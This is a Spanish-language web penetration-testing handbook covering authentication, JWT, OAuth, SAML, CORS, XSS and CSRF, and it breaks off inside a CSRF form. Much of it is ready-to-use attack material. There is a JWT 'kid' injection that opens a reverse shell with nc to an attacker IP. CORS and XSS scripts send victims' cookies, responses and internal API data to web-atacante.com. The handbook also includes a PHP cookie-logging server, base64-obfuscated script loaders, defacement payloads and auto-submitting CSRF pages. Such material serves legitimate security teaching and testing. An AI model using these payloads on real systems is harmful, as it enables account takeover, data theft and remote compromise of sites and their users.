Envenenamiento del enlace de restablecimiento de contraseña a través de la manipulación del HTTP header `Host`.

## Payloads

* <https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet>


# Autenticación y autorización

## Inicio de sesión

* Enumeración de cuentas de usuarios.
  * Mensajes entregados cuando se proporciona un usuario válido/inválido.
  * Diferencia en el tiempo de respuesta del servidor cuando se proporciona un usuario válido/inválido.
    * <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/timing-attack/timing_attack_user_enum.py>
  * Patrones de comportamiento específicos del flujo de inicio de sesión que pueden requerir una observación adicional para concluir si un usuario existe o no.
* [Ataques de contraseñas](https://pentesting.mrw0l05zyn.cl/explotacion/ataques-de-contrasenas).
  * [Credenciales por defecto](https://pentesting.mrw0l05zyn.cl/explotacion/ataques-de-contrasenas/wordlists-y-diccionarios#credenciales-por-defecto).
  * [Política de contraseñas](https://pentesting.mrw0l05zyn.cl/explotacion/ataques-de-contrasenas/wordlists-y-diccionarios#politica-de-contrasenas).
  * [Generación de diccionarios de nombres de usuarios](https://pentesting.mrw0l05zyn.cl/explotacion/ataques-de-contrasenas/wordlists-y-diccionarios#nombres-de-usuarios).
  * [Generación de diccionarios de contraseñas](https://pentesting.mrw0l05zyn.cl/explotacion/ataques-de-contrasenas/wordlists-y-diccionarios#generacion).
  * [Fuerza bruta Basic HTTP Authentication](https://pentesting.mrw0l05zyn.cl/explotacion/ataques-de-contrasenas/en-linea-online/80-tcp-443-tcp-http-s#basic-http-authentication).
  * [Fuerza bruta método HTTP GET](https://pentesting.mrw0l05zyn.cl/explotacion/ataques-de-contrasenas/en-linea-online/80-tcp-443-tcp-http-s#metodo-http-get).
  * [Fuerza bruta método HTTP POST](https://pentesting.mrw0l05zyn.cl/explotacion/ataques-de-contrasenas/en-linea-online/80-tcp-443-tcp-http-s#metodo-http-post).
  * Password spraying.
* Restricción de cantidad de intentos no válidos de inicio de sesión.
* Rate limit & spike arrest.

### Authentication bypass

* Injección SQL, NoSQL, LDAP, XML u otro para intentar eludir la autenticación.
* Modificación de HTTP header `Host`.
* Variables de sesión comunes:
  * Utilización de token de registro de usuario.
  * Utilización de token de restablecimiento de contraseña.
* Asignación prematura de variable de sesión al token durante el proceso de autenticación.

#### SQL injection authentication bypass

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/sql-injection/sql-injection-authentication-bypass.txt>

#### Type juggling <a href="#php-strcmp-bypass" id="php-strcmp-bypass"></a>

* [PHP](/explotacion/type-juggling#php)

## Registro de usuario

* Registro de usuario utilizando:
  * Espacios.
  * Unicode.
* Variables de sesión comunes: utilización de token de registro de usuario en otras funcionalidades.

## Proceso de restablecimiento de contraseña

* Enlace de restablecimiento de contraseña adivinable.
* Enlace de restablecimiento de contraseña reciclable.
* Token de restablecimiento de contraseña predecible.
* Respuestas adivinables para preguntas de seguridad.
* Envenenamiento de enlace de restablecimiento de contraseña a través de la manipulación del HTTP header `Host`.
* Variables de sesión comunes: utilización de token de restablecimiento de contraseña en otras funcionalidades.

## Session

* Token de sesión débil (generación adivinable).
* Manipulación de token de sesión (contenido).
* Session hijacking.
* Session fixation.
* Debilidades de cierre de sesión.
* Un identificador de sesión fuerte es:
  * Válido para una sola sesión.&#x20;
  * Tiempo limitado.&#x20;
  * Aleatorio e impredecible.
  * Tener al menos 16 bytes de longitud.
  * Proporcionar al menos 64 bits de entropía.

## Insecure direct object references (IDOR)

* Insecure direct object references (IDOR).
* IDOR information disclosure vulnerabilities.
* IDOR insecure function calls.


# Cookie

## SameSite

Es un atributo de las cookies que especifica a los navegadores cuándo deben incluir las cookies de un sitio web en las solicitudes que se originan en otros sitios web.

### Strict

El navegador no envía la cookie en ninguna solicitud entre sitios.

### Lax

El navegador solo envía la cookie en solicitudes entre sitios, pero solo si se cumplen las dos condiciones siguientes:

* La solicitud utiliza el método `GET`.
* La solicitud fue el resultado de una navegación de nivel superior por parte del usuario, como hacer clic en un enlace.

Esto significa que la cookie no se incluye en las solicitudes entre sitios con método `POST`. Asimismo, la cookie no se incluye en solicitudes realizada desde JavaScript, iframes o referencias a imágenes y otros recursos.

### None

El navegador no aplica ninguna medida adicional. La cookie se envía con todas las solicitudes entre sitios. Al configurar una cookie con `SameSite=None`, también se debe incluir el atributo `Secure`, que garantiza que la cookie solo se envíe a través de HTTPS. De lo contrario, los navegadores rechazarán la cookie y no se configurará.

<table><thead><tr><th width="178" align="center">Tipo solicitud entre sitios</th><th width="363" align="center">Ejemplo de código</th><th align="center">Cookies enviadas cuando</th></tr></thead><tbody><tr><td align="center">Link</td><td align="center"><code>&#x3C;a href="">&#x3C;/a></code></td><td align="center">(*) No establecido SameSite=None SameSite=Lax</td></tr><tr><td align="center">Prerender</td><td align="center"><code>&#x3C;link rel="prerender" href=""/></code></td><td align="center">(*) No establecido SameSite=None SameSite=Lax</td></tr><tr><td align="center">Form GET</td><td align="center"><code>&#x3C;form method="GET" action=""></code></td><td align="center">(*) No establecido SameSite=None SameSite=Lax</td></tr><tr><td align="center">Form POST</td><td align="center"><code>&#x3C;form method="POST" action=""></code></td><td align="center">SameSite=None</td></tr><tr><td align="center">iframe</td><td align="center"><code>&#x3C;iframe src="">&#x3C;/iframe></code></td><td align="center">SameSite=None</td></tr><tr><td align="center">JavaScript</td><td align="center"><p><code>var xhr = new XMLHttpRequest();</code></p><p><code>xhr.open("GET", "", false);</code></p><p><code>xhr.withCredentials = true;</code></p><p><code>xhr.send();</code></p></td><td align="center">SameSite=None</td></tr><tr><td align="center">Image</td><td align="center"><code>&#x3C;img src=""/></code></td><td align="center">SameSite=None</td></tr></tbody></table>

{% hint style="info" %}
(\*) Desde 2021, Chrome aplica restricciones `SameSite=Lax` de manera predeterminada en aquellas cookies cuyo sitio emisor no especifique explícitamente un nivel de restricción mediante el atributo `SameSite`.
{% endhint %}

### same-site vs same-origin

* same-site: combinación de un esquema y la última parte del nombre de dominio, es decir, el dominio de nivel superior (TLD), por ejemplo `.com`, más un nivel adicional del nombre de dominio, que se suele denominar TLD+1.
* same-origin: combinación de un esquema, un nombre de dominio y un número de puerto.

| Solicitud desde            | Solicitud a           | ¿Mismo same-site? |
| -------------------------- | --------------------- | ----------------- |
| <http://es.example.com/>   | <http://example.com/> | Si                |
| <http://example.com:8080/> | <http://example.com/> | Si                |
| <http://example.org/>      | <http://example.com/> | No                |
| <https://example.com/>     | <http://example.com/> | No                |


# JSON Web Token (JWT)

## Sin verificación de firma <a href="#jwt-sin-verificacion-de-firma" id="jwt-sin-verificacion-de-firma"></a>

Realizar libremente cualquier cambio en el token JWT.

## Algoritmo `none` <a href="#jwt-algoritmo-none" id="jwt-algoritmo-none"></a>

JWT admite un algoritmo `none` (ningún algoritmo), que el servidor puede aceptar si utiliza una biblioteca obsoleta para procesar JWT. Si `alg` (abreviatura de algoritmo) se establece en `none`, cualquier token se considerará válido si la firma se establece en vacío.

```sh
# JSON header
{"alg":"none","typ":"JWT"}

# JWT
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.base64UrlEncode(payload).

# JWT Tool
jwt_tool.py -X a <jwt>
```

## Confusión de algoritmo

* <https://github.com/silentsignal/rsa_sign2n>

## Secreto débil <a href="#jwt-secreto-debil" id="jwt-secreto-debil"></a>

### Ataque de diccionario <a href="#jwt-secreto-debil-ataque-de-diccionario" id="jwt-secreto-debil-ataque-de-diccionario"></a>

```sh
# JWT Tool
jwt_tool.py -C -d <path-wordlist> <jwt>

# Hashcat
echo "<jwt>" > jwt.txt
hashcat -m 16500 -a 0 jwt.txt <path-wordlist>
```

### Ataque de fuerza bruta <a href="#jwt-secreto-debil-ataque-de-fuerza-bruta" id="jwt-secreto-debil-ataque-de-fuerza-bruta"></a>

```sh
# JWT Cracker
jwt-cracker <jwt>
jwt-cracker <jwt> <alphabet> <max-length>
```

## Inyecciones en parámetros de encabezado <a href="#jwt-inyecciones-en-parametros-de-encabezado" id="jwt-inyecciones-en-parametros-de-encabezado"></a>

### KID <a href="#jwt-inyecciones-en-parametro-de-encabezado-kid" id="jwt-inyecciones-en-parametro-de-encabezado-kid"></a>

Los servidores pueden usar varias claves criptográficas para firmar diferentes tipos de datos, no solo JWT. Por esta razón, el encabezado de un JWT puede contener el parámetro `kid` (ID de clave), que ayuda al servidor a identificar qué clave usar al verificar la firma de un token JWT.

Ejecución de comandos con reverse shell.

```json
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "default.key\";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <attacker-IP-address> <listen-port> >/tmp/f;\""
}
```

## Otros claims

* jwk
* jku
* x5c
* x5u

## JWT Tool

* <https://github.com/ticarpi/jwt_tool>

Ejecución de todas las pruebas (all test).

```shell
# at = all test
jwt_tool.py -M at -t "https://<target>/<api>" -rh "Authorization: Bearer <jwt-token>" -np

# Revisión de resultados
jwt_tool.py -Q "jwttool_<id>"
```

Explotación de vulnerabilidades conocidas.

```shell
# a = alg:none
jwt_tool.py -X a <jwt>

# n = firma en null
jwt_tool.py -X n <jwt>

# b = contraseña en blanco aceptada en la firma
jwt_tool.py -X b <jwt>

# Secreto débil (ataque de diccionario)
jwt_tool.py -C -d <path-wordlist> <jwt>
```

Ingresar/modificar de información de JSON Web Token (JWT).

```shell
# Modo interactivo
jwt_tool.py -T <jwt>

# Ingreso/modificación directa
jwt_tool.py -I -S <algorithm> -pc '<name>' -pv '<value>' -p '<secret>' <jwt>
```


# OAuth

### OAuth grants

* Authorization code grant / Concesión de código de autorización
* Implicit grant / Concesión implícita
* Resource owner credentials grant / Concesión de credenciales de propietario de recursos
* Client credentials grant / Concesión de credenciales de cliente
* Refresh token grant / Concesión de token de actualización

### redirect\_uri <a href="#oauth-redirect_uri" id="oauth-redirect_uri"></a>

Según el tipo de concesión, se envía un código o token a través del navegador de la víctima al `/callback` especificado en el parámetro `redirect_uri` de la solicitud de autorización. Si el servicio OAuth no valida este URI correctamente, un atacante puede construir un ataque similar a CSRF o engañar a la víctima (phishing) para que inicie un flujo OAuth que enviará el código o token a un sitio controlado por el atacante.


# SAML

* Claves públicas/privadas débiles: buscar la clave/certificado público en internet para encontrar la clave/certificado privado respectivo, luego utilizarlo para modificar los requests y obtener acceso como otro usuario.
* Sin verificación de firma: utilizar cualquier firma para modificar los requests y obtener acceso como otro usuario.
* Signature stripping / eliminación de firmas: utilizar valores de firma vacíos para modificar los requests y obtener acceso como otro usuario.


# Same-origin policy (SOP)

Un origen se refiere a la combinación de un esquema, un nombre de dominio y un número de puerto. Los navegadores implementan una política denominada same-origin policy (política del mismo origen) con el fin de evitar que un origen tenga acceso a los recursos en un origen diferente.

La tabla a continuación ilustra cómo se implementa same-origin policy (SOP) cuando <http://example.com/> intenta acceder a otros orígenes:

<table><thead><tr><th width="335">URL accedida</th><th>¿Acceso permitido?</th></tr></thead><tbody><tr><td>http://example.com/path/</td><td>Si: mismo esquema, dominio y puerto</td></tr><tr><td>http://example.com/path2/</td><td>Si: mismo esquema, dominio y puerto</td></tr><tr><td>http://example.com:8080/path/</td><td>No: diferente puerto</td></tr><tr><td>http://www.example.com/path/</td><td>No: diferente dominio</td></tr><tr><td>http://es.example.com/path/</td><td>No: diferente dominio</td></tr><tr><td>https://example.com/path/</td><td>No: diferente esquema y puerto</td></tr></tbody></table>

Sin embargo, el propósito de same-origin policy (SOP) no es evitar que el navegador realice una solicitud hacia un recurso en otro origen, sino evitar que JavaScript pueda leer la respuesta recibida. Esto se asemeja funcionalmente a la flag de cookie HttpOnly, la cual impide que JavaScript acceda a la información almacenada en una cookie, pero permite que el navegador la envíe junto con solicitudes HTTP.

{% hint style="info" %}
Same-origin policy (SOP) impide que JavaScript lea la respuesta, pero no bloquea la solicitud.
{% endhint %}


# Cross-origin resource sharing (CORS)

## General

1\) Revisar si se encuentra habilitado (`true`) el encabezado HTTP `Access-Control-Allow-Credentials`.

```http
Access-Control-Allow-Credentials: true
```

2\) Revisar los valores del encabezado HTTP `Access-Control-Allow-Origin`.

* Valor comodín (`*`).
* Valor nulo (`null`).
* `Origin` reflejado.
* Lista blanca de orígenes (`Origin`) permitidos con protocolo inseguro (HTTP).
* Cambiar el valor del encabezado `Origin` a uno que comience y a uno que termine con un `Origin` permitido (lista blanca).

```sh
# Origin permitido
https://example.com

# Modificación de Origin a uno que comienza con un Origin permitido
https://example.com.test.com

# Modificación de Origin a uno que termina con un Origin permitido
https://testexample.com
```

* Valores no admitidos por los navegadores web.
  * Múltiples dominios separados mediante espacios o comas.
  * Utilización de comodín (`*`) para especificar subdominios.
  * Dominio sin protocolo.

```http
# Múltiples dominios separados mediante espacios o comas
Access-Control-Allow-Origin: https://example.com https://example2.com https://example3.com
Access-Control-Allow-Origin: https://example.com, https://www.example.com, https://api.example.com

# Utilización de comodín (*) para especificar subdominios
Access-Control-Allow-Origin: https://*.example.com

# Dominio sin protocolo
Access-Control-Allow-Origin: example.com
```

3\) Si el valor del encabezado `Access-Control-Allow-Origin` se genera dinámicamente verificar que se especifique `Origin` en el valor del encabezado HTTP `Vary`.

```http
Vary: Origin
```

## Access-Control-Allow-Origin (ACAO)

El encabezado HTTP `Access-Control-Allow-Origin` puede tener varios valores. Estos son el valor comodín (`*`), el valor nulo (`null`) y el valor de origen específico que desea permitir.

```http
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: null
Access-Control-Allow-Origin: <origin>
```

El encabezado `Access-Control-Allow-Origin` no puede contener múltiples orígenes, como separar diferentes dominios mediante espacios o comas. Además, el uso de comodines no se puede utilizar dentro de ningún otro valor.

Algunos ejemplos no válidos de `Access-Control-Allow-Origin` son:

```http
Access-Control-Allow-Origin: https://example.com https://example2.com https://example3.com
Access-Control-Allow-Origin: https://example.com, https://www.example.com, https://api.example.com
Access-Control-Allow-Origin: https://*.example.com
Access-Control-Allow-Origin: example.com
```

{% hint style="info" %}
La especificación de `Access-Control-Allow-Origin` permite múltiples orígenes, sin embargo, los navegadores web no lo admiten.
{% endhint %}

Por lo tanto, se debe verificar el origen de la solicitud y ajustar el campo del encabezado en consecuencia. Por ejemplo, puede usar el encabezado `Origen` de la solicitud para verificar quién está accediendo al recurso. Si es uno de los dominios permitidos, se establece `Access-Control-Allow-Origin` en consecuencia.&#x20;

El navegador web compara `Access-Control-Allow-Origin` con el origen del sitio web solicitante (`Origin`) y permite el acceso a la respuesta si coinciden. Es decir, el navegador web no compartirá la respuesta del servidor si el origen no está incluido en el encabezado `Access-Control-Allow-Origin`.

Afortunadamente, desde una perspectiva de seguridad, el uso del comodín está restringido en la especificación, ya que no se puede combinar el comodín (`*`) con `Access-Control-Allow-Credentials`. En consecuencia, una respuesta de la siguiente forma no está permitida:

```http
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```

## Vary

El encabezado `Vary` está configurado para que el navegador sepa que la respuesta puede variar según el origen. Por lo tanto, no utilizará ninguna respuesta almacenada en caché cuando se llame desde un sitio diferente en el mismo navegador web, previniendo así ataques de envenenamiento de caché del lado de cliente.&#x20;

Por lo cual, si el valor del encabezado HTTP `Access-Control-Allow-Origin` se genera dinámicamente se debe siempre especificar `Origin` en el valor del encabezado HTTP `Vary`.

```http
Vary: Origin
```

## Explotación con credenciales (ACAC)

```http
Access-Control-Allow-Credentials: true
```

### Origin reflejado en Access-Control-Allow-Origin <a href="#origin-reflejado-en-access-control-allow-origin" id="origin-reflejado-en-access-control-allow-origin"></a>

El valor del encabezado `Access-Control-Allow-Origin` es generado por el servidor a partir del encabezado `Origin` especificado por el cliente.

{% tabs %}
{% tab title="Request" %}

```http
GET /datos-sensibles HTTP/1.1
Host: web-vulnerable.com
Origin: https://web-maliciosa-atacante.com
Cookie: sessionid=...
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Response" %}

```http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://web-maliciosa-atacante.com
Access-Control-Allow-Credentials: true
```

{% endtab %}
{% endtabs %}

Obtención de información desde recurso vulnerable y reenvió de información a web del atacante.

```javascript
<script> 
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('GET', 'http://web-vulnerable.com/datos-sensibles', true);
    req.withCredentials = true;
    req.send();
    
    function reqListener() {
        fetch('http://web-atacante.com', {method: 'POST', body:document.cookie});
        fetch('http://web-atacante.com', {method: 'POST', body:this.responseText});
    }
</script>
```

### Access-Control-Allow-Origin con valor null <a href="#access-control-allow-origin-con-valor-null" id="access-control-allow-origin-con-valor-null"></a>

La especificación del encabezado `Origen` permite el valor nulo (`null`). Algunas aplicaciones pueden incluir en su lista blanca el valor nulo (`null`) para admitir el desarrollo local de su aplicación. En esta situación, un atacante puede generar una solicitud que contenga el valor nulo (`null`) en el encabezado `Origin` y esto satisfará la lista blanca de `Access-Control-Allow-Origin` permitiendo tener acceso a las respuestas.

{% tabs %}
{% tab title="Request" %}

```http
GET /datos-sensibles HTTP/1.1
Host: web-vulnerable.com
Origin: null
Cookie: sessionid=...
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Response" %}

```http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
```

{% endtab %}
{% endtabs %}

Obtención de información desde recurso vulnerable y reenvió de información a web del atacante.

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
	var req = new XMLHttpRequest();
	req.onload = reqListener;
	req.open('GET','http://web-vulnerable.com/datos-sensibles',true);
	req.withCredentials = true;
	req.send();

	function reqListener() {
		fetch('http://web-atacante.com/?log='+btoa(this.responseText), {method: 'GET'});
	};
</script>"></iframe>
```

## Explotación sin credenciales (ACAC)

Sin el encabezado `Access-Control-Allow-Credentials` con valor `true`, el navegador web del usuario víctima no enviará sus cookies u otras credenciales, lo que significa que el atacante solo obtendrá acceso a contenido no autenticado, al que se podría acceder fácilmente navegando directamente al recurso de destino.&#x20;

Sin embargo, hay una situación común en la que un atacante no puede acceder a un recurso directamente, por ejemplo cuando es parte de una intranet y se encuentra dentro de un segmento de red interno.

### Access-Control-Allow-Origin con valor \* <a href="#access-control-allow-origin-con-valor-asterisco" id="access-control-allow-origin-con-valor-asterisco"></a>

El encabezado `Access-Control-Allow-Origin` establecido en valor comodín (`*`) hace que los navegadores web permitan el acceso a las respuestas solicitadas desde cualquier origen (`Origin`).

{% tabs %}
{% tab title="Request" %}

```http
GET /datos-sensibles HTTP/1.1
Host: intranet.web-vulnerable.com
Origin: https://web-vulnerable.com
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Response" %}

```http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
```

{% endtab %}
{% endtabs %}


# Cross-site scripting (XSS)

## Reflected server XSS (Non-Persistent)

Ocurre cuando la entrada del usuario se muestra en la página después de ser procesada por el servidor (back-end), pero sin ser almacenada.&#x20;

Se encuentra a menudo donde la entrada del usuario se envía a través de parámetros GET, por ejemplo, una opción de búsqueda que refleje la palabra buscada. Para explotarlo, normalmente se envía un enlace a un usuario con el payload. Dado que el usuario confía en el dominio, posiblemente hará clic en el enlace, el servidor agregará nuestro payload y el navegador del usuario lo ejecutará.&#x20;

Es posible que los parámetros POST también den como resultado un "reflected server XSS (Non-Persistent)". Sin embargo, no podríamos explotarlo enviado un enlace a un usuario. En su lugar, tendríamos que enviar al usuario a un sitio web que controlamos y tener un formulario que haga un POST automáticamente cuando el usuario ingrese al sitio web.

## Stored server XSS (Persistent)

Ocurre cuando la entrada del usuario se almacena en la base de datos (back-end) y luego se muestra al recuperarla. Por ejemplo, publicaciones o comentarios.

Esto hace que este tipo de XSS sea el más crítico, ya que afecta a una audiencia mucho más amplia. Cualquier usuario que visite la página sería víctima de este ataque. Además, es posible que "stored server XSS (Persistent)" no se pueda quitar fácilmente y que sea necesario eliminar el payload de la base de datos (back-end).

## Reflected client XSS (Non-Persistent / DOM based)

Ocurre cuando la entrada del usuario se muestra en la página y esta es procesada por completo en el lado del cliente (JavaScript), pero sin ser almacenada.

Se encuentra a menudo donde la entrada del usuario se envía a través de parámetros GET, por ejemplo, una opción de búsqueda que refleje la palabra buscada y que esta sea asignada a un elemento HTML desde JavaScript.

```sh
http://<target>/?search=<img src='noexiste' onerror='alert(0)'>
```

{% code title="search.js" %}

```javascript
const urlSearchParams = new URLSearchParams(window.location.search);
const params = Object.fromEntries(urlSearchParams.entries());
document.getElementById("search").innerHTML = params.search
```

{% endcode %}

## Stored client XSS (Persistent / DOM based)

Ocurre cuando la entrada del usuario se almacena en la base de datos (back-end) y esta es procesada por completo en el lado del cliente (JavaScript) cuando se muestra en la página luego de recuperarla. Por ejemplo, publicaciones o comentarios que son obtenidos desde una base de datos y son asignados a elementos HTML desde JavaScript.

## Blind XSS

Payloads de identificación general de "blind XSS".

```javascript
<script src=http://attacker-IP-address></script>
'><script src=http://attacker-IP-address></script>
"><script src=http://attacker-IP-address></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://attacker-IP-address\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//attacker-IP-address");a.send();</script>
<script>$.getScript("http://attacker-IP-address")</script>
```

Ejemplo de identificación de campo vulnerable a "blind XSS".

```sh
mkdir /tmp/phpserver
cd /tmp/phpserver
php -S 0.0.0.0:80
```

```javascript
<script src=http://attacker-IP-address/name></script>
<script src=http://attacker-IP-address/lastname></script>
<script src=http://attacker-IP-address/address></script>
```

## Payloads

### General

```html
<script>alert(0)</script>
<script>alert('XSS');</script>
<img src="noexiste" onerror=alert(document.cookie)>
<img src="noexiste" onerror=document.write(document.cookie)>
<script>alert(window.origin)</script>
<img src="" onerror=alert(window.origin)>
<plaintext>
<script>print()</script>
# WebSocket
<img src="noexiste" onerror=socket.send(document.cookie)>
```

* [common-xss-payloads.txt](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/common-xss-payloads.txt)

### Stealing session cookies

Acceso a cookies desde JavaScript (HttpOnly no establecido).

```javascript
<script>alert(document.cookie);</script>
```

Envía cookies a web del atacante.

```javascript
<script>new Image().src='http://web-atacante.com/xss.php?cookie='+document.cookie</script>
<script>fetch(`http://web-atacante.com/xss.php?cookie=${btoa(document.cookie)}`)</script>
<script>fetch('http://web-atacante.com', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<img src="noexiste" onerror="fetch('http://web-atacante.com/\?cookie=' + encodeURIComponent(document.cookie))">
<script>var xhr=new XMLHttpRequest();xhr.open('GET','http://web-atacante.com/\?cookie='+encodeURIComponent(document.cookie),true);xhr.send();</script>
<script>var xhr=new XMLHttpRequest();xhr.open('POST','http://web-atacante.com/',true);xhr.send('cookie='+encodeURIComponent(document.cookie));</script>
```

Registro de cookies en servidor del atacante.

{% code title="xss.php" %}

```php
<?php
// php -S 0.0.0.0:80
// tail -f steal-secrets.txt

if (isset($_GET['cookie'])) {
    $list = explode(";", $_GET['cookie']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("steal-secrets.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookies: {$cookie}\n");
        fclose($file);
    }
}
?>
```

{% endcode %}

Guarda cookies ocultas dentro del HTML de la página web.

```javascript
<div style="display: none;">
<img src="noexiste" onerror=
"document.getElementById('form').onsubmit=function () {
var hidden='<span style=\'display:none;\'>
'+document.cookie+'</span>';
document.getElementById('mensaje').value+=hidden;}"/>
</div>
```

### Stealing local secrets

Existen dos tipos de almacenamiento de datos en el navegador disponibles `localStorage` y `sessionStorage`, su diferencia radica en el nivel de persistencia de los datos. Al utilizar `localStorage` los datos se conservan hasta que se eliminen explícitamente, mientras que al utilizar `sessionStorage` los datos se conservan hasta que se cierre la pestaña. Se puede acceder a los datos de `localStorage` usando la propiedad `window.localStorage`, mientras que se puede acceder a `sessionStorage` con la propiedad `window.sessionStorage`.

* [steal-secrets.js](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/steal-secrets.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/xss.php)

### Stealing saved passwords

* [steal-saved-passwords.js](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/steal-saved-passwords.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/xss.php)

### Keylogger

* [keylogger.js](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/keylogger.js)
* [keylogger.php](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/keylogger.php)

### Phishing

* [phishing.js](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/phishing.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/xss.php)

### Defacement

```javascript
<script>document.title="Defacement"</script>
<script>document.getElementsByTagName('body')[0].innerHTML='Defacement'</script>
<script>document.getElementById("id").innerHTML = "Defacement";</script>
<img src="noexiste" onerror="document.title='Defacement';" />
<script>document.body.style.background="#ff0000"</script>
<script>document.body.background="https://example.com/image.png"</script>
```

```javascript
<script>
    var tagHeader = document.getElementsByTagName('header')[0];
    var tagH1 = tagHeader.getElementsByTagName('h1');
    for(var i=0; i<tagH1.length; i++) {
        var tagH1item = tagH1[i];
        tagH1item.innerHTML='Defacement';
    }
</script>
```

### Identificación de funcionalidades internas (análisis HTML de la aplicación)

```javascript
try {
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://<target>/index.php", false);
    xhr.withCredentials = true;
    xhr.send();
    var res = xhr.responseText;
} catch (error) {
    var res = error;
}	

var exfil = new XMLHttpRequest();
exfil.open("POST", "http://web-atacante.com/", false);
exfil.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "exfil=" + encodeURIComponent(btoa(res));
exfil.send(data);
```

### Enumeración de API internas

```javascript
var endpoints = ["account","accounts","credentials","creds","customer","customers","member","members","pass","password","passwords","profile","profiles","setting","settings","user","username","users"];

for (i in endpoints){
    try {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", `http://<target>/v1/${endpoints[i]}`, false);
        xhr.send();
        
        if (xhr.status != 404) {
            var exfil = new XMLHttpRequest();
            exfil.open("GET", "http://web-atacante.com/?exfil=" + btoa(endpoints[i]), false);
            exfil.send();
        }
    } catch {
    }
}
```

### SQL injection en login interno

```javascript
try {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://<target>/login.php", false);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    var data = `username=${encodeURIComponent("' OR '1'='1' -- -")}&password=x`;
    xhr.send(data);
    var res = xhr.responseText;
} catch (error) {
    var res = error;
}   

var exfil = new XMLHttpRequest();
exfil.open("POST", "http://web-atacante.com/", false);
exfil.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "exfil=" + encodeURIComponent(btoa(res));
exfil.send(data);
```

### POST request

{% code title="xss.js" %}

```javascript
fetch('http://<target>/',{
    method: 'POST',
    mode: 'same-origin',
    credentials: 'same-origin',
    headers: {
        'Content-Type':'application/x-www-form-urlencoded'
    }, 
    body:'param=value1&param2=value2&param3=value3'
})
```

{% endcode %}

### Ejecución de payload desde recurso externo

Creación de archivo JavaScript con payload a ejecutar.

{% code title="xss.js" %}

```javascript
alert(0)
```

{% endcode %}

Habilitación de servidor HTTP para compartir el archivo `xss.js`.

```sh
php -S 0.0.0.0:80
```

Payloads para cargar JavaScript desde recurso externo.

```html
<script src="http://<attacker-IP-address>/xss.js"></script>
<img src="x" onerror="s=document.createElement('script');s.src='http://<attacker-IP-address>/xss.js';document.body.appendChild(s);">
```

Payload utilizando jQuery para cargar JavaScript desde recurso externo.

```javascript
jQuery.getScript('http://<attacker-IP-address>/xss.js')
echo -n "jQuery.getScript('<attacker-IP-address>/xss.js')" | base64
'+eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnPGF0dGFja2VyLUlQLWFkZHJlc3M+L3hzcy5qcycp'))+'
'+btoa(eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnPGF0dGFja2VyLUlQLWFkZHJlc3M+L3hzcy5qcycp')))+'
```

### PortSwigger

* <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>

### Payload Box

* <https://github.com/payloadbox/xss-payload-list>

### Payloads All The Things

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection)

## Herramientas

### XSS Hunter

* <https://xsshunter.com/>

### Truffle Security

* <https://xsshunter.trufflesecurity.com/>


# Cross-site request forgery (CSRF)

[Same-origin policy (SOP)](/explotacion/same-origin-policy-sop) no permitirá que un atacante obtenga la respuesta del servidor a una solicitud maliciosa realizada desde otro origen, pero no previene la realización de peticiones desde otros orígenes. Esto significa que same-origin policy (SOP) no puede considerarse un mecanismo de seguridad contra ataques de cross-site request forgery (CSRF).

## HTML GET con interacción de usuario

```html
<a href="http://web-vulnerable.com/?param=CSRF">Haz clic aquí</a>
```

## HTML GET sin interacción de usuario

```html
<img src="http://web-vulnerable.com/?param=CSRF">
```

## Formulario HTML GET con interacción de usuario

```html
<form action="http://web-vulnerable.com" method="GET">
 <input name="param" type="hidden" value="CSRF" />
 <input type="submit" value="Haz clic aquí" />
</form>
```

## Formulario HTML GET sin interacción de usuario

{% code title="csrf-html-get.html" %}

```html
<html>
  <body onload="document.forms['csrf'].submit()">
   <form action="http://web-vulnerable.com" method="GET" name="csrf">
    <input name="param" type="hidden" value="CSRF" />
    <input type="submit" value="Haz clic aquí" />
   </form>
 </body>
</html>   
```

{% endcode %}

## Formulario HTML POST con interacción de usuario

```html
<form action="http://web-vulnerable.com" method="POST">
 <input name="param" type="hidden" value="CSRF" />
 <input type="submit" value="Haz clic aquí" />
